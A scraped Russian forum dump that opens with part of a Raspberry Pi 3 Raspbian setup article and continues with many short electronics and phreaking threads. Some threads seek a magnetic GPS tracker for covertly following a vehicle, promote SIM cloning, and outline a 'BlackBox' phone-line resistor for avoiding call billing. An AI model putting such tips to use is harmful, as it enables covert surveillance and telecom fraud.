[*]unzip raspbian_latest
[*]Archive:  raspbian_latest
[*]  inflating: 2017-11-29-raspbian-stretch.img

Смотрим реальный размер образа:

Code:Copy to clipboard

[*]du -hs 2017-11-29-raspbian-stretch.img
[*]4,6G    2017-11-29-raspbian-stretch.img

Итого имеем образ размером 4.6 Гбайт. Теперь нам предстоит залить его на SD- карту. Официальная документация рекомендует писать блоками по 4 мегабайта, что мы и сделаем.

Code:Copy to clipboard

[*]dd if=2017-11-29-raspbian-stretch.img of=/dev/sdf bs=4M conv=fsync
[*]1173+0 записей получено
[*]1173+0 записей отправлено
[*]4919918592 байт (4,9 GB, 4,6 GiB) скопирован, 464,473 s, 10,6 MB/s

На запись ушло где-то около восьми минут на скорости 10 Мбайт в секунду. Похоже, SD-карта действительно держит скорость соответственно заявленному десятому классу, китайцы не обманули.
На всякий случай говорим системе произвести сканирование партиций на разделе:

Code:Copy to clipboard

[*]partprobe /dev/sdf

Получаем перечень партиций:

Code:Copy to clipboard

[*]ls -1 /dev/sdf*
[*]/dev/sdf
[*]/dev/sdf1
[*]/dev/sdf2

В данном случае, как и в предыдущем, две партиции. Давайте посмотрим, что на них:

Code:Copy to clipboard

[*]mount /dev/sdf1 /mnt/1
[*]mount /dev/sdf2 /mnt/2

Содержимое первого раздела:

Code:Copy to clipboard

[*]ls -1 /mnt/1
[*]bcm2708-rpi-0-w.dtb
[*]bcm2708-rpi-b.dtb
[*]bcm2708-rpi-b-plus.dtb
[*]bcm2708-rpi-cm.dtb
[*]bcm2709-rpi-2-b.dtb
[*]bcm2710-rpi-3-b.dtb
[*]bcm2710-rpi-cm3.dtb
[*]bootcode.bin
[*]cmdline.txt
[*]config.txt
[*]COPYING.linux
[*]fixup_cd.dat
[*]fixup.dat
[*]fixup_db.dat
[*]fixup_x.dat
[*]issue.txt
[*]kernel7.img
[*]kernel.img
[*]LICENCE.broadcom
[*]LICENSE.oracle
[*]overlays
[*]start_cd.elf
[*]start_db.elf
[*]start.elf
[*]start_x.elf

Содержимое второго раздела.

Code:Copy to clipboard

[*]ls -1 /mnt/2
[*]bin
[*]boot
[*]dev
[*]etc
[*]home
[*]lib
[*]lost+found
[*]media
[*]mnt
[*]opt
[*]proc
[*]root
[*]run
[*]sbin
[*]srv
[*]sys
[*]tmp
[*]usr
[*]var

Как видно, в первом случае это также загрузочный раздел, во втором – основной раздел операционной системы. Отлично, давайте посмотрим, как эти разделы были смонтированы:

Code:Copy to clipboard

[*]mount | grep /dev/sdf
[*]/dev/sdf1 on /mnt/1 type vfat (rw,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=iso8859-1,shortname=mixed,errors=remount-ro)
[*]/dev/sdf2 on /mnt/2 type ext4 (rw,relatime,data=ordered)

В первом случае видим, что используется vfat, что справедливо для раздела EFI, во втором случае – вполне себе современная ext4.
Демонтируем разделы, вставляем SD-карту в слот мини-компьютера и включаем кнопку питания.

Code:Copy to clipboard

[*]umount /mnt/1
[*]umount /mnt/2

При первом старте операционная система сама расширяет корневой раздел до максимального значения и повторно перезагружается. Время загрузки – считанные секунды, отличный пример пользователям настольных систем на базе процессоров Intel, ведь есть куда стремиться.
Так или иначе, мы сходу попадаем в графический интерфейс Raspbian:
![](/proxy.php?image=https%3A%2F%2Fwasm.in%2Fattachments%2F006-raspbian- jpg.2375%2F&hash=14d9460ab29a23657fd6830214153e7e)
Рисунок 6. Raspbian в комплектации по умолчанию.
Проверяем работу мини-клавиатуры – система адекватно реагирует на нажатия клавиш и прикосновение к тачпаду. Однако всё же пользоваться ей не совсем удобно, поэтому я вынужден подключить к устройству дополнительно клавиатуру и мышь, которые так же распознаются и работают вполне адекватно.
Разумеется, в первую очередь у меня возникло желание сделать скриншот. Однако, когда я нажал клавишу Print Screen, ничего не произошло. Чуть позже я понял, что скриншоты просто сохраняются как отдельные файлы в домашний каталог. Вот, собственно говоря, один из них.
![](/proxy.php?image=https%3A%2F%2Fwasm.in%2Fattachments%2F007-screenshot- png.2384%2F&hash=633393784503854e8dc8349d3ac186a1)
Рисунок 7. Первый скриншот.
Ура, теперь можно отложить фотоаппарат подальше. По свойствам скриншота видно, что система стартует в разрешении 1824x984, что несколько меньше FullHD (1920x1080), но с первого раза в глаза не бросается, ведь есть куда смотреть и помимо этого.
Первым делом я решил запустить терминал и убедиться, что под корневую систему отдана действительно вся флеш-карта:

Code:Copy to clipboard

[*]df -h
[*]Filesystem      Size  Used Avail Use% Mounted on
[*]/dev/root        15G  4.1G  9.9G  30% /
[*]devtmpfs        460M     0  460M   0% /dev
[*]tmpfs           464M     0  464M   0% /dev/shm
[*]tmpfs           464M   18M  446M   4% /run
[*]tmpfs           5.0M  4.0K  5.0M   1% /run/lock
[*]tmpfs           464M     0  464M   0% /sys/fs/cgroup
[*]/dev/mmcblk0p1   41M   21M   21M  51% /boot
[*]tmpfs            93M     0   93M   0% /run/user/1000

Как видим, корневой раздел монтируется со специального устройства /dev/root, в то время как для загрузки используется обычная партиция, представленная устройством /dev/mmcblk0p1. При этом, сам терминал выглядит достаточно симпатично:
![](/proxy.php?image=https%3A%2F%2Fwasm.in%2Fattachments%2F008-terminal- png.2376%2F&hash=7cd9f19f4591100b2b5457a6633036ad)
Рисунок 8. Окно терминала
В общем, первое впечатление можно озвучить одним междометием - «вау!»

Конфигурируем Raspbian

Отлично. Теперь надо выполнить первоначальную конфигурацию Raspbian. Для этого находим в меню соответствующий пункт, который запускает приложение- конфигуратор:
![](/proxy.php?image=https%3A%2F%2Fwasm.in%2Fattachments%2F009-pi-config- png.2377%2F&hash=8a2053157ac538f4a15f7dfc099f89c0)
Рисунок 9. Окно приложения Raspberry Pi Configuration.
Конечно, интерфейс не блещет обилием настроек, но основные и самые важные с его помощью можно сделать. Для начала изменяем пароль, заданный по умолчанию, на свой при помощи кнопки «Change Password...». Это будет необходимо при дальнейшей удалённой работе с устройством. Также я решил изменить имя хоста на «rpi3b». Во вкладке «Interfaces» я разрешил SSH, который идёт из коробки. Очень важно настроить параметры локали и раскладки клавиатуры во вкладке «Localisation», так как по умолчанию стоят настройки английской раскладки вместо привычной нам американской.
![](/proxy.php?image=https%3A%2F%2Fwasm.in%2Fattachments%2F010-localization- png.2378%2F&hash=c73ebb068e8be8b8af10c195c2154089)
Рисунок 10. Вкладка «Localisation»
Теперь настраиваем WiFi. Для этого редактируем соответствующий конфигурационный файл:

Code:Copy to clipboard

[*]nano /etc/wpa_supplicant/wpa_supplicant.conf

Содержимое файла должно иметь приблизительно следующий вид:

Code:Copy to clipboard

[*]country=RU
[*]ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
[*]update_config=1
[*] 
[*]network={
[*]    ssid="homelinux"
[*]    scan_ssid=1
[*]    psk="password"
[*]}

Сохраняем содержимое файла и запускаем переконфигурацию интерфейса:

Code:Copy to clipboard

[*]wpa_cli -i wlan0 reconfigure

Убеждаемся, что компьютер подключился к WiFi:

Code:Copy to clipboard

[*]/sbin/ifconfig
[*]eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
[*]        inet 192.168.0.162  netmask 255.255.255.0  broadcast 192.168.0.255
[*]        inet6 fe80::83aa:5565:8698:e6f6  prefixlen 64  scopeid 0x20<link>
[*]        ether b8:27:eb:ec:98:f8  txqueuelen 1000  (Ethernet)
[*]        RX packets 12790  bytes 15196006 (14.4 MiB)
[*]        RX errors 0  dropped 0  overruns 0  frame 0
[*]        TX packets 8322  bytes 940424 (918.3 KiB)
[*]        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
[*] 
[*]lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
[*]        inet 127.0.0.1  netmask 255.0.0.0
[*]        inet6 ::1  prefixlen 128  scopeid 0x10<host>
[*]        loop  txqueuelen 1  (Local Loopback)
[*]        RX packets 0  bytes 0 (0.0 B)
[*]        RX errors 0  dropped 0  overruns 0  frame 0
[*]        TX packets 0  bytes 0 (0.0 B)
[*]        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
[*] 
[*]wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
[*]        inet 192.168.0.183  netmask 255.255.255.0  broadcast 192.168.0.255
[*]        inet6 fe80::c1b4:3674:4dbe:643  prefixlen 64  scopeid 0x20<link>
[*]        ether b8:27:eb:b9:cd:ad  txqueuelen 1000  (Ethernet)
[*]        RX packets 20  bytes 3445 (3.3 KiB)
[*]        RX errors 0  dropped 0  overruns 0  frame 0
[*]        TX packets 23  bytes 3922 (3.8 KiB)
[*]        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Как видим, сеть подхватилась, всё замечательно, и патчкорд нам теперь использовать совсем необязательно.

Собираем информацию

Что ж, теперь важно собрать информацию о новоприобретённой железке. Для этого выполним ряд команд. Прежде всего, узнаем версию операционной системы:

Code:Copy to clipboard

[*]cat /etc/issue
[*]Raspbian GNU/Linux 9 \n \l

и ядра:

Code:Copy to clipboard

[*]uname -a
[*]Linux raspberrypi 4.9.59-v7+ #1047 SMP Sun Oct 29 12:19:23 GMT 2017 armv7l GNU/Linux

Как видим, несмотря на то что процессор базируется на Cortex-A53, то есть архитектуре ARM 8, которая, в свою очередь, является уже 64-разрядной, операционная система всё же работает на базе 32-раздрядного ядра. Это говорит о том, что программировать в ближайшее время придётся всё же с использованием набора команд ARM 7, нежели ARM 8, которые претерпели достаточно внушительные изменения.
Теперь выведем информацию о самом процессоре:

Code:Copy to clipboard

[*]cat /proc/cpuinfo
[*]processor    : 0
[*]model name    : ARMv7 Processor rev 4 (v7l)
[*]BogoMIPS    : 38.40
[*]Features    : half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32 lpae evtstrm crc32
[*]CPU implementer    : 0x41
[*]CPU architecture: 7
[*]CPU variant    : 0x0
[*]CPU part    : 0xd03
[*]CPU revision    : 4

[*]processor    : 1
[*]model name    : ARMv7 Processor rev 4 (v7l)
[*]BogoMIPS    : 38.40
[*]Features    : half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32 lpae evtstrm crc32
[*]CPU implementer    : 0x41
[*]CPU architecture: 7
[*]CPU variant    : 0x0
[*]CPU part    : 0xd03
[*]CPU revision    : 4

[*]processor    : 2
[*]model name    : ARMv7 Processor rev 4 (v7l)
[*]BogoMIPS    : 38.40
[*]Features    : half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32 lpae evtstrm crc32
[*]CPU implementer    : 0x41
[*]CPU architecture: 7
[*]CPU variant    : 0x0
[*]CPU part    : 0xd03
[*]CPU revision    : 4

[*]processor    : 3
[*]model name    : ARMv7 Processor rev 4 (v7l)
[*]BogoMIPS    : 38.40
[*]Features    : half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32 lpae evtstrm crc32
[*]CPU implementer    : 0x41
[*]CPU architecture: 7
[*]CPU variant    : 0x0
[*]CPU part    : 0xd03
[*]CPU revision    : 4

[*]Hardware    : BCM2835
[*]Revision    : a22082
[*]Serial        : 0000000019ec98f8

Как видим, процессор распознаётся как процессор архитектуры ARM 7 (что неудивительно, если сделать поправку на ядро операционной системы), имеет четыре ядра, каждое из которых поддерживает ряд следующих расширений:

Из всего этого набора наибольший интерес, разумеется, представляют расширения vfp различных версий, edsp и neon, с которыми я непременно ознакомлюсь в процессе изучения архитектуры ARM.
Что касается памяти – то её действительно 1 Гбайт, 64 Мбайт из которых отданы под видеопамять:

Code:Copy to clipboard

[*]free
[*]              total        used        free      shared  buff/cache   available
[*]Mem:         949580       98792      456552       39892      394236      758952
[*]Swap:        102396           0      102396

Если посмотреть на предустановленный набор средств, то он рассчитан на каких- то новичков. Мы же люди серьёзные, и нам нужны серьёзные средства разработки. Проверяем, есть ли таковые:

Code:Copy to clipboard

[*]gcc --version
[*]gcc (Raspbian 6.3.0-18+rpi1) 6.3.0 20170516
[*]Copyright (C) 2016 Free Software Foundation, Inc.
[*]This is free software; see the source for copying conditions.  There is NO
[*]warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Вот это удивляет не меньше – GCC версии 6.3 уже из коробки. Однако не хватает моего любимого файлового менеджера. Давайте его поставим штатными средствами дистрибутива семейства Debian:

Code:Copy to clipboard

[*]apt-get install mc

Всё замечательно, и теперь мы наблюдаем наш файловый менеджер во всей красе:
![](/proxy.php?image=https%3A%2F%2Fwasm.in%2Fattachments%2F011-mc- png.2379%2F&hash=7ce75b6b644b620e0f298e391c08f7d8)
Рисунок 11. файловый менеджер Midnight Commander.

Сенсорный экран

А что же всё-таки с нашим мини-экраном? Давайте попробуем его завести. Выключаем систему, подключаем всё по изначальной схеме. Простое подключение экрана здесь не поможет, необходимо провести дополнительную настройку, отредактировав файл /boot/config.txt и прописать в него следующие параметры:

Code:Copy to clipboard

[*]hdmi_group=2
[*]hdmi_mode=87
[*]hdmi_cvt=1024 600 60 0 0 0
[*]hdmi_force_hotplug=1

Первый параметр hdmi_group задаёт группу HDMI-выхода. Могут быть использованы следующие значения:

В зависимости от параметра hdmi_group устанавливается следующий параметр hdmi_mode – целое число, означающее режим работы графической системы. Однако в нашем случае дисплей имеет нестандартное разрешение, и поэтому мы вынуждены прибегнуть к вручную задаваемым параметрам графического режима, а параметр hdmi_mode в связи с этим выставить в значение 87.
Чтобы явно задать параметры графического режима, нужно прописать параметр hdmi_cvt, который представлен шестью числами в следующем порядке:

Осталось разобраться с последним параметром – hdmi_force_hotplug. Если этот параметр выставлен в 1, то графическая подсистема считает, что к HDMI-порту дисплей подключен всегда и использует параметры именно заданного графического режима.
Теперь выключаем операционную систему, подключаем дисплей, и включаем снова. Теперь всё работает, как и ожидалось.
![](/proxy.php?image=https%3A%2F%2Fwasm.in%2Fattachments%2F012-touchscreen- jpg.2385%2F&hash=7aab83c71124b0c18e5c9540b0c876df)
Рисунок 12. Операционная система Raspbian на тачскрине.

Заключение

В целом, поигравшись несколько часов, не могу не отметить, что платформа Raspberry Pi 3 произвела на меня куда более положительные впечатления, нежели я ожидал. Штатная операционная система Raspbian достаточно легковесна и шустра и не имеет каких-либо проблем с установкой дополнительного программного обеспечения. Тачскрин также успешно завёлся. Немного, конечно, расстроило, что для Raspberry Pi 3 пока нет официально поддерживаемой 64-разрядной операционной системы, но, тем не менее, это не умаляет всей интересности проекта. Следите за обновлениями!

Автор: Владимир Садовников aka SadKo

GPS треккер
ID: 676535aeb4103b69df3736b5
Thread ID: 23573
Created: 2012-11-14T21:51:09+0000
Last Post: 2015-08-14T12:19:11+0000
Author: b1t
Replies: 3 Views: 3K

Ребята, можете подсказать пожалуйста, в СПб где именно можно купить GPS треккер, который магнитом цепляется на железной поверхность? (надо за транспортом средством следить маршрут).

И еще, скажите пожалуйста сложно ли его настраивать для on-line мониторинга через спутник? т.е. чтоб знать на данный момент где находится т.с.?
Устройство будет работать ВНЕ России, только днем (ночью будем снимать на зарядку).

Прошивка TV приставки
ID: 676535aeb4103b69df3736b7
Thread ID: 25094
Created: 2014-03-22T17:59:09+0000
Last Post: 2014-03-27T05:05:49+0000
Author: b1t
Replies: 6 Views: 3K

Не давно был давнего друга дома, у него там заметил интересный девайс, как оказался потом - это Cisco IPTV приставка какая то, совсместно с Microsoft (скорее всего это Cisco CIS 430 с HDD).
Как мне рассказывал друг - это от билайн, когда они жили в многоэтажке, там они через это смотрели TV, а после переезда на частный дом - уже не получится юзать. Я так думал может из него делать медиацентр? через компьютер чтоб транслировать на TV фильмы например.
поинтересовался через официальные лица - сказали, что это невозможно, т.к. приставка прошит под фирменную прошвку и только работает с билайном. Что и не особо мне удивил, в принципе логично было...
Вот и решил поинтересоваться - возможно ли перепрошивать и делать из нее "default" приставку просто?

//**//**//**//
ID: 676535aeb4103b69df3736ba
Thread ID: 23600
Created: 2012-11-27T09:23:11+0000
Last Post: 2012-12-31T06:48:42+0000
Author: DarckSol
Replies: 13 Views: 3K

Spoiler: 20


Чип на скрине: ds2401


Странная находка в машине, кто что скажет по поводу находки?
Что это может быть и что оно может делать?... На глазик
---------
Размер чуть больше средней пуговицы на пальто...

Как сделать конвертер ?
ID: 676535aeb4103b69df3736bb
Thread ID: 22342
Created: 2011-10-29T20:45:39+0000
Last Post: 2012-11-03T08:54:42+0000
Author: b1t
Replies: 5 Views: 3K

Недавно купил с ибея студийное лампу (который у фотографов на студиях стоят), то на корпусе написано, что он на 110V, т.е. для USA, связывался с продавцом, типа что за нах? а он не топа лампочки под 220V (на самом деле да, верно), а вот все же вскрыл этот агрегат, а там стоит металлическим корпусом кулер, как у компьютеров (на процессор), просто с короткими лопастями.
Вот фото кулера с параметрами:

там как видете - 10W всего лишь может каким то образом внутри можно добавить что то мальнкого для конвертации 220V на 110V именно для кулера? лампочка под 220 уже.
Просто смысла нету купить готовые конвертеры от 220V на 110V, т.к. лампа ведь 220V (1000W), остался только вопрос с кулером :) думаю может поставить какой то конденсатор или что то т.п и хватит?

Индуктивность против
ID: 676535aeb4103b69df3736cb
Thread ID: 15471
Created: 2008-08-24T20:22:55+0000
Last Post: 2008-08-29T13:40:01+0000
Author: Noctambulaar
Replies: 1 Views: 3K

Снял видео :screenshot: [смотреть]. Думаю всё понятно.

Потом сделаю на кондёрах, портативный, может кофе мне кто нальёт B)

Обрудование NETGEAR
ID: 676535aeb4103b69df3736cc
Thread ID: 15192
Created: 2008-06-24T10:35:39+0000
Last Post: 2008-06-25T07:47:12+0000
Author: Kosmonaft
Replies: 1 Views: 3K

Столкнулся с проблемкой... Работаю в компании, которая занимается реализацией всякого рода телекоммуникационного оборудования... Прислали пробник NETGEAR GS116 ... 16-и портовый Свич !! Не знаю и не могу найти с каким оборудованием его сравнить... Вообще в курсе, что америкосовское производство и достаточно хорошее, но дорогое блин... Кто-нибудь раньше работал с ним ??? Какие отзывы !?

GSM сигнализация, Шлюз
ID: 676535aeb4103b69df3736d0
Thread ID: 13586
Created: 2006-11-11T20:20:24+0000
Last Post: 2006-12-01T08:39:55+0000
Author: andreyepro
Prefix: GSM
Replies: 3 Views: 3K

куплю схему, прошивку.
рассмотрю все предложения!

Так чето посты жуть тут...
ID: 676535aeb4103b69df3736d3
Thread ID: 13073
Created: 2006-10-29T16:21:28+0000
Last Post: 2006-10-31T08:48:33+0000
Author: FileCAst
Replies: 3 Views: 3K

Интересуют проги для сканеров AOR 3200 или 8200 можем поменятся инфой и прогами по ним и схемами кабелей к ним ..также можна пообщатся поповоду передатчиков интересуют с кварц стабилизацией частоты....а так енто по идее отстой тоже)) юзаем Edic-mini))) :bang: раздел мертвый давайте оживлять)))) :crazy:

Клонирование, копирование, перезапись SIM
ID: 676535aeb4103b69df3736db
Thread ID: 11840
Created: 2006-09-19T18:19:40+0000
Last Post: 2006-09-20T01:50:09+0000
Author: Winux
Prefix: GSM
Replies: 3 Views: 3K

Собстно нашел несколько замечательных документов. Думаю будет полезно и МБ у кого получится.

  1. Собственно ни для кого ен секрет, что существует SIM reader/wrighter. По линку дано не только описание, но и список необходимых для прошивки программ. Кстати говоря вещ не такая редкая, продается и в обычных магазах.

  2. Можно не дорого купить чистые симки для записи. С записаным SimEmu - программа для мгновенного переключения записаных телефонных номеров прямо из меню телефона. Собстно на сайте multisimcard.ru можно купить разнообразное оборудование по низким ценам (не реклама). Пообщаться с консультантом тоже можно.

Самое интересное, что даже если у вас рипнут трубу например - можно восстановить симку по бэкапу. Добавлять дополнительные номера, причем разных операторов. Как видно пустая симка стоит максимум 400 руб + почта. + оборудование.

Внимание, симки могут изнашиваться от частой перепрошивки. Делайте бэкапы.

Измеритель ветра
ID: 676535aeb4103b69df3736dc
Thread ID: 11170
Created: 2006-08-30T06:49:04+0000
Last Post: 2006-09-02T13:57:59+0000
Author: мозголом
Replies: 3 Views: 3K

Измеритель ветра
Для изготовления анемометра Вам потребуется:

1. Мышь, обыкновенная — компьютерная, с шариком.
2. Старый куллер от процессора.
3. Пустой стержень от обыкновенной шариковой ручки.

Разбираем мышку, вытаскиваем из нее все внутренности, и на уровне где расположен горизонтальный ролик, сверлим в боку мышки отверстие. Отрезаем от стержня шариковой ручки небольшую трубочку, длиной 4-6 сантиметров. И приклеиваем ее к горизонтальному ролику.

Было бы не плохо, если часть трубочку торчала через просверленное отверстие сбоку у мышки, и при этом ролик свободно вращался. С противоположной стороны в трубочку вставляем пропеллер от старого компьютерного куллера. Обратно собираем мышку, но не вставляем основной шарик.

Выкачиваем из Интернета программку VetroMouse. И теперь можем измерять скорость ветра, не отходя от рабочего места.
http://www.freee.ru/files/vetromouse.exe = сама прога
работает на 100%

Подключение Lcd Ericsson A2618/2628 к LPT порту
ID: 676535aeb4103b69df3736df
Thread ID: 11013
Created: 2006-08-29T03:07:33+0000
Last Post: 2006-08-29T03:07:33+0000
Author: мозголом
Replies: 0 Views: 3K

Подключение Lcd Ericsson A2618/2628 к LPT порту

И чего тут только нет. Даже к USB Подключили LCD

Очень интерестная тема. Такую штуку может собрать любой первоклассник. Уж очнь простая схемка. Смотрим...
на http://www.freee.ru/article.php/48 там все сылки как подключить

микропылесос
ID: 676535aeb4103b69df3736e0
Thread ID: 10364
Created: 2006-08-07T11:44:02+0000
Last Post: 2006-08-29T02:48:59+0000
Author: мозголом
Replies: 7 Views: 3K

Ингридиенты

Дабы собрать сей агрегат нам понадобятся:

Как сделать сие чудо? Да очень просто - http://www.modlabs.net/index.php?location=...es&url=micropss
чудо работает на 100% :punk: B) :punk: B)

Mega-box
ID: 676535aeb4103b69df3736e1
Thread ID: 9735
Created: 2006-07-07T08:54:28+0000
Last Post: 2006-08-23T19:11:04+0000
Author: x-demon
Replies: 5 Views: 3K

http://steelrats.net/readarticle.php?article_id=90

ссылка уже проскакивала.
Будет ли работать?

Фотография сборки номеронабирателя ТА 4100
ID: 676535aeb4103b69df3736e2
Thread ID: 10589
Created: 2006-08-17T02:44:35+0000
Last Post: 2006-08-19T18:28:54+0000
Author: Ma-stiff
Replies: 4 Views: 3K

Нужна фотография указанного номеронабирателя (использовался на советских телефонах). Именно фотография/графическое изображение, а не схема, нижней части, в разобранном виде, с указанием порядка сборки.
Заранее спасибо.

Система непрерывной подачи чернил
ID: 676535aeb4103b69df3736e3
Thread ID: 10376
Created: 2006-08-08T02:09:28+0000
Last Post: 2006-08-08T02:44:23+0000
Author: мозголом
Replies: 1 Views: 3K

B) :punk: 1. Определитесь с моделью принтера.

2. Снимите чипы со всех картриджей.

3. Промойте тщательно и высушите картриджи.

4. Заправьте картриджи высококачественными чернилами.

5. Вставьте автообнуляющиеся чипы (АО чипы) вместо родных.

6. Возьмите силиконовые трубки (желательно диаметром 2-2,2 мм) и спаяйте из них шлейф. У Вас получится примерно такой вид (в сечении). Концы трубок должны быть не спаянными.

7. Стыковка трубок и картриджей:
- изготовьте штуцера для соединения трубки с картриджем. Количество штуцеров равно количеству трубок. Можно использовать ненужный стержень от гелиевой ручки - там есть вынимающийся штуцер. Получиться должно такое
- если у Вас трубка силиконовая, то Вам можно обойтись и без штуцеров. Просто вставьте в вентиляционное отверстие картриджа трубку - она зайдет с трудом (очень плотно) и промажьте клеем стыки. Дайте клею хорошо застыть. Соединение должно получиться герметичным.

8. Вставьте штуцера или трубки в каждую камеру картриджа. Для этого, если нужно увеличьте отверстие в верхней крышке картриджа до диаметра 2,1 мм. Это хорошо делать обратным концом сверла, нагретым до нужной температуры.

9. Загерметизируйте все отверстия и соединения в картридже кроме нижнего отверстия для печатающей головки. Используйте любой уплотняющий клей или строительный герметик.

10. Возьмите соответствующее количество емкостей, сделайте в крышках отверстия диаметром 2,2 мм таким же способом как и в п.8. Вставьте трубку через крышку до дна бутылочки. Трубка должна заходить плотно и не иметь свободного хода. Не забудьте сделать в крышке еще одно отверстие 0,1-0,5 мм - вентиляционное - обычной иглой. В итоге у Вас должно получиться прочное соединение.

11. Заполните емкости чернилами и закройте их крышкамию В итоге у Вас должен получиться примерно так или так.

12. Установите картриджи с подсоединенным шлейфом в принтер и закрепите их. Предварительно снимите пластмассовые прижимные крышки в тех моделях где это необходимо. Их можно вернуть на место в любой момент. Закрепите картриджи хомутом.

13. Включите принтер и начинайте печатать. Через время трубки заполнятся чернилами полностью. Образовавшаяся воздушная прослойка в верхней части камер картриджей не страшна.

14. Не забывайте доливать чернила по мере их расхода!

Оригинал тут - http://www.resetters.com/snp.htm

Для обладателей принтеров отличных от EPSON, и принтеров с лазерной печатью предлагаю посмотреть инструкции по заправке картриджей - http://www.servicemanuals.ru/manuals.htm

работает B) :punk:

Народ помогите
ID: 676535aeb4103b69df3736e5
Thread ID: 9918
Created: 2006-07-15T13:25:50+0000
Last Post: 2006-07-18T16:23:59+0000
Author: loSed
Replies: 6 Views: 3K

Как в городе найти каких нибудь радио ботаников ))) Есть просто работенка самому делать никак т к в этом полный ноль ) Может кто знает в каких гругах и т п такие люди находяться что бы было легко найти

Phreaking toolzz
ID: 676535aeb4103b69df3736e6
Thread ID: 7697
Created: 2006-04-08T18:49:01+0000
Last Post: 2006-06-28T20:36:48+0000
Author: Winux
Replies: 2 Views: 3K

Набор инструментов for Phreaking
Начнем:
Огромная куча различных фрикерских тулз.
:zns5: Страница закачки|Download page

Специальные радиосистемы
ID: 676535aeb4103b69df3736e8
Thread ID: 9482
Created: 2006-06-26T14:16:37+0000
Last Post: 2006-06-26T22:07:06+0000
Author: Spawn™
Replies: 1 Views: 3K

на просторах сети нашёл сайт посвящённый радиосистемам - «Специальные радиосистемы»

если там порытся то можно найти схему Останкинской телебашни

:)

BlackBox
ID: 676535aeb4103b69df3736eb
Thread ID: 8875
Created: 2006-05-31T18:37:08+0000
Last Post: 2006-06-18T10:26:03+0000
Author: [Fr0sT]
Replies: 3 Views: 3K

Данная информация предназначена только для ознакомительных целей ! :crazy:

BlackBox

Все наверно знают что это за коробка, но на всякий случай поясню.
BlackBox - это "примочка" (резистор) помещённый в телефонной розетке вашего телефона. При входящем звонке оборудование телефонной компании не фиксирует поднятие трубки, и тот кто вам звонит не платит за разгоавор.

Составные части:

*резистор переменный 5 ком
*конденсатор 0.5-1 мКф
*переключатель
*телефон

Собственно схема ( взята с http://cxem.net/) :

BlueBox
ID: 676535aeb4103b69df3736ee
Thread ID: 7847
Created: 2006-04-12T16:48:32+0000
Last Post: 2006-05-15T02:38:23+0000
Author: st1ng3r
Replies: 2 Views: 3K

Всем hi
У меня кароче вопрос. Вот начитал кучу статей и доков по bluebox'у.
И мне захотелось сделать его самостоятельно. Но прежде один вопрос!
А будет ли он работать сейчас? У практически 90% населения моего города стоят
цифровые линии, конечно на аналоговых неспорю, заработает, но на цифровой?
Просто я читал статьи, но они были написано в 98 или 2000 годах. :fie:
Подскажите чем сможете!

Тарелка
ID: 676535aeb4103b69df3736f7
Thread ID: 6718
Created: 2006-01-26T04:53:13+0000
Last Post: 2006-01-26T08:55:45+0000
Author: /dev/AVR
Replies: 1 Views: 3K

INTRO: Я абсолютный 0 в этом вопросе,
по этому прошу сразу не пинать.

Люди, всю жизнь сижу на кабельном телевиденье, и все ок.
Но тут такой трабл. Нужно тарелку настроить.
И не у себя дома. Точнее ее Ресивер(отдельный дэвайс
с TV IN,OUT,SCART,RS232 и т.д). Рессивер
называется так. Фирма: Bigsat International(Germany).
Название:Digital Setelite Receiver DSR6500Prima
Я этих рессивиров не разу в жизни не видел, по этому
буду рад любым манам, которые посоветуете почитать...
Заранее спасибо.

Рация
ID: 676535aeb4103b69df3736fa
Thread ID: 6342
Created: 2006-01-04T14:10:33+0000
Last Post: 2006-01-11T12:08:22+0000
Author: Elektrik
Replies: 7 Views: 3K

Товарищи тут такое дело, в общем есть две рации военные очень старые по виду но как мне сказали абсолютно рабочие, единственное в чём проблема в них нет аакумуляторов, скажите плз кто-нить знает какое напряжение должно на них подаваться и вобще реально-ли ими сейчас что - нибудь поймать(если реально то что?)?

Заранее спасиб.

Журнал схемотехника
ID: 676535aeb4103b69df3736fc
Thread ID: 6231
Created: 2005-12-29T22:45:13+0000
Last Post: 2005-12-29T22:45:13+0000
Author: Winux
Prefix: Мануал/Книга
Replies: 0 Views: 3K

Журнал схемотехника

Сделай что нибудь для своей розетки - основной девиз журнала.
Журнал для радиолюбителей и других любителей что-нибудь разобрать и потом долго вспоминать как это было раньше.
Сам раньше увлекался радиолюбительством (привет, Yast), поэтому не смог удержаться и отпостить это здесь.
Итак, имеются номера:
2002 № 7, 8, 9
:zns5: Скачать|Download
или
:zns5: Скачать|Download

2003 № 4, 5, 6
:zns5: Скачать|Download
или
:zns5: Скачать|Download

2003 № 1, 2, 3
:zns5: Скачать|Download
или
:zns5: Скачать|Download

:zns3: Пароль: Home_Maker
Источник: kpnemo.ru

Телефония
ID: 676535aeb4103b69df3736fd
Thread ID: 5949
Created: 2005-12-16T17:05:35+0000
Last Post: 2005-12-20T11:49:39+0000
Author: /dev/AVR
Replies: 1 Views: 3K

Люди. HELP, Одну фишку пишу. Кто живет в Russia, please, помогите составить телефонные коды.

Мне нужно дозвониться из любой точки РАШЫ в Беларашу на мобильные сети.
Код мобильный сетей в Белараше 029. Как мне это сделать ?

Please Дайте код дозвона. № телефона в сетях 029 (7цифр).

Ну надеюсь вы меня поняли. что то типо 8w375xxxxxxYYYYYYY :help:

pc+tv
ID: 676535aeb4103b69df373700
Thread ID: 5596
Created: 2005-11-16T01:23:59+0000
Last Post: 2005-11-16T21:27:16+0000
Author: poisons
Replies: 1 Views: 3K

:help:
Тема такая. Качаю море фильмов, но смотреть хочется не на моне, а на ящике. Проблема в том что по видимому в забугорье забыли что по стандарту ящик не обязан поддерживать 100Гц развертку. Что есть:
1 ati radeon 7500 (ну да да...ну динозавр и что)
2 s-video-scart шнур

Как ни мудрился, цели так и не достиг - мерцалово и "снег" :bang: . В ati catalist control center вобще муть какая - то.

